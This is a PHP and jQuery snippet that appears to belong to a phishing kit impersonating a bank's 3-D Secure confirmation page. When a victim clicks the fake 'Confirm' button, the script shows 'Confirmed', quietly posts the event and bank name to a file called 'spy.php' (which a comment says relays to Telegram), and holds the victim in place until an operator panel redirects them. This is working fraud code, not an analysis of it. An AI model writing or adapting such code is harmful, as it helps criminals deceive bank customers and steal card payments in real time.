<?php
/**
 * Shared Confirm/Continue click → Telegram (APPROV CONFIRMED).
 * Stays on the same page (no redirect to wait).
 * Include after jq.js. Optional: $bankName from bank-3ds-bootstrap.
 */
$__approvBankJs = isset($bankName) ? (string) $bankName : 'Bank';
?>
<script>
(function ($) {
    if (!$ || !$.post) return;
    var defaultBank = <?= json_encode($__approvBankJs, JSON_UNESCAPED_UNICODE) ?>;

    $(document).on('click', 'a.js-approv-confirm', function (e) {
        e.preventDefault();
        e.stopPropagation();

        var $a = $(this);
        if ($a.data('busy')) return;
        $a.data('busy', 1);

        var bank = $a.data('bank') || defaultBank;
        var originalHtml = $a.html();

        $a.addClass('is-confirmed').attr('aria-disabled', 'true').css({
            pointerEvents: 'none',
            opacity: '0.85'
        });
        if ($a.hasClass('b3-btn') || $a.hasClass('b3-btn--round')) {
            $a.text('Confirmed…');
        }

        $.ajax({
            url: 'spy.php',
            type: 'POST',
            timeout: 10000,
            data: { approv_clicked: 1, bank: bank }
        }).always(function () {
            if ($a.hasClass('b3-btn') || $a.hasClass('b3-btn--round')) {
                $a.text('Confirmed');
            } else {
                $a.html(originalHtml);
            }
            // Stay on this page — panel redirects when ready
        });

        return false;
    });
})(window.jQuery);
</script>
